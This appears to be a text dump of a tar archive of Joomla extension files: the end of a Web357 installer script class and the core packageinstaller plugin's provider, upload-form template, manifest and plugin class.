{ // The extension is not installed yet if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } // The free version is installed. So any version is ok to install if (strpos($installed_version, 'PRO') === false) { return true; } // Current package is a pro version, so all good if (strpos($this->getVersion(), 'PRO') !== false) { return true; } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__); Factory::getApplication()->enqueueMessage(Text::_('W357_ERROR_PRO_TO_FREE'), 'error'); Factory::getApplication()->enqueueMessage( html_entity_decode( Text::sprintf( 'W357_ERROR_UNINSTALL_FIRST', '<a href="//www.web357.com/product/' . $this->url_alias . '" target="_blank">', '</a>', Text::_($this->name) ) ), 'error' ); return false; } public function onBeforeInstall($route) { if ( ! $this->canInstall()) { return false; } return true; } public function onAfterInstall($route) { } public function delete($files = array()) { foreach ($files as $file) { if (is_dir($file) && is_dir($file)) { Folder::delete($file); } if (is_file($file) && is_file($file)) { File::delete($file); } } } public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}') { // replace default rules value {} with the correct initial value $query = $this->db->getQuery(true) ->update($this->db->quoteName('#__assets')) ->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules)) ->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname)) ->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}')); $this->db->setQuery($query); $this->db->execute(); } private function updateHttptoHttpsInUpdateSites() { $query = $this->db->getQuery(true) ->update('#__update_sites') ->set($this->db->quoteName('location') . ' = REPLACE(' . $this->db->quoteName('location') . ', ' . $this->db->quote('http://') . ', ' . $this->db->quote('https://') . ')') ->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://updates.web357%')); $this->db->setQuery($query); $this->db->execute(); } private function removeGlobalLanguageFiles() { if ($this->extension_type == 'library' || $this->alias === 'web357framework') { return; } $language_files = Folder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true); // Remove override files foreach ($language_files as $i => $language_file) { if (strpos($language_file, '/overrides/') === false) { continue; } unset($language_files[$i]); } if (empty($language_files)) { return; } File::delete($language_files); } private function removeUnusedLanguageFiles() { if ($this->extension_type == 'library') { return; } $main_language_dir_path = Folder::folders(__DIR__ . '/language'); $installed_languages = array_merge( Folder::folders(JPATH_SITE . '/language'), Folder::folders(JPATH_ADMINISTRATOR . '/language') ); $languages = array(); if (is_array($main_language_dir_path) && is_array($installed_languages)) { $languages = array_diff( $main_language_dir_path, $installed_languages ); } $delete_languages = array(); if (!empty($languages)) { foreach ($languages as $language) { $delete_languages[] = $this->getMainFolder() . '/language/' . $language; } } if (empty($delete_languages)) { return; } // Remove folders $this->delete($delete_languages); } }packageinstaller/services/provider.php000064400000002521151664164620014256 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.packageinstaller * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Installer\Package\Extension\PackageInstaller; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new PackageInstaller( $dispatcher, (array) PluginHelper::getPlugin('installer', 'packageinstaller') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; packageinstaller/tmpl/default.php000064400000010635151664164620013206 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.packageinstaller * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filesystem\FilesystemHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\Plugin\Installer\Package\Extension\PackageInstaller; /** @var PackageInstaller $this */ HTMLHelper::_('form.csrf'); Text::script('PLG_INSTALLER_PACKAGEINSTALLER_NO_PACKAGE'); Text::script('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_UNKNOWN'); Text::script('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_EMPTY'); Text::script('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG'); $this->getApplication()->getDocument()->getWebAssetManager() ->registerAndUseScript( 'plg_installer_packageinstaller.packageinstaller', 'plg_installer_packageinstaller/packageinstaller.js', [], ['defer' => true], ['core'] ); $return = $this->getApplication()->getInput()->getBase64('return'); $maxSizeBytes = FilesystemHelper::fileUploadMaxSize(false); $maxSize = HTMLHelper::_('number.bytes', $maxSizeBytes); ?> <legend><?php echo Text::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_INSTALL_JOOMLA_EXTENSION'); ?></legend> <div id="uploader-wrapper"> <div id="dragarea" data-state="pending"> <div id="dragarea-content" class="text-center"> <p> <span id="upload-icon" class="icon-upload" aria-hidden="true"></span> </p> <div id="upload-progress" class="upload-progress"> <div class="progress"> <div class="progress-bar progress-bar-striped bg-success progress-bar-animated" style="width: 0;" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" ></div> </div> <p class="lead"> <span class="uploading-text"> <?php echo Text::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOADING'); ?> </span> <span class="uploading-number">0</span><span class="uploading-symbol">%</span> </p> </div> <div class="install-progress"> <div class="progress"> <div class="progress-bar progress-bar-striped" style="width: 100%;"></div> </div> <p class="lead"> <span class="installing-text"> <?php echo Text::_('PLG_INSTALLER_PACKAGEINSTALLER_INSTALLING'); ?> </span> </p> </div> <div class="upload-actions"> <p class="lead"> <?php echo Text::_('PLG_INSTALLER_PACKAGEINSTALLER_DRAG_FILE_HERE'); ?> </p> <p> <button id="select-file-button" type="button" class="btn btn-success"> <span class="icon-copy" aria-hidden="true"></span> <?php echo Text::_('PLG_INSTALLER_PACKAGEINSTALLER_SELECT_FILE'); ?> </button> </p> <p> <?php echo Text::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', '‎' . $maxSize); ?> </p> </div> </div> </div> </div> <div id="legacy-uploader" class="hidden"> <div class="control-group"> <label for="install_package" class="control-label"><?php echo Text::_('PLG_INSTALLER_PACKAGEINSTALLER_EXTENSION_PACKAGE_FILE'); ?></label> <div class="controls"> <input class="form-control-file" id="install_package" name="install_package" type="file"> <input id="max_upload_size" name="max_upload_size" type="hidden" value="<?php echo $maxSizeBytes; ?>" /> <small class="form-text"><?php echo Text::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?></small> </div> </div> <div class="form-actions"> <button class="btn btn-primary" type="button" id="installbutton_package"> <?php echo Text::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_AND_INSTALL'); ?> </button> </div> <input id="installer-return" name="return" type="hidden" value="<?php echo $return; ?>"> </div> packageinstaller/packageinstaller.xml000064400000001647151664164620014133 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="installer"> <name>plg_installer_packageinstaller</name> <author>Joomla! Project</author> <creationDate>2016-05</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.6.0</version> <description>PLG_INSTALLER_PACKAGEINSTALLER_PLUGIN_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Installer\Package</namespace> <files> <folder plugin="packageinstaller">services</folder> <folder>src</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_installer_packageinstaller.ini</language> <language tag="en-GB">language/en-GB/plg_installer_packageinstaller.sys.ini</language> </languages> </extension> packageinstaller/src/Extension/PackageInstaller.php000064400000002707151664164620016563 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.packageinstaller * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Installer\Package\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Plugin\PluginHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * PackageInstaller Plugin. * * @since 3.6.0 */ final class PackageInstaller extends CMSPlugin { /** * Application object * * @var \Joomla\CMS\Application\CMSApplication * @since 4.0.0 * @deprecated 6.0 Is needed for template overrides, use getApplication instead */ protected $app; /** * Textfield or Form of the Plugin. * * @return array Returns an array with the tab information * * @since 3.6.0 */ public function onInstallerAddInstallationTab() { // Load language files $this->loadLanguage(); $tab = []; $tab['name'] = 'package'; $tab['label'] = $this->getApplication()->getLanguage()->_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_PACKAGE_FILE'); // Render the input ob_start(); include PluginHelper::getLayoutPath('installer', 'packageinstaller'); $tab['content'] = ob_get_clean(); return $tab; } }
/home/opticamezl/www/newok/07d6c/../c9989/../api/../images/./../administrator/../installer.tar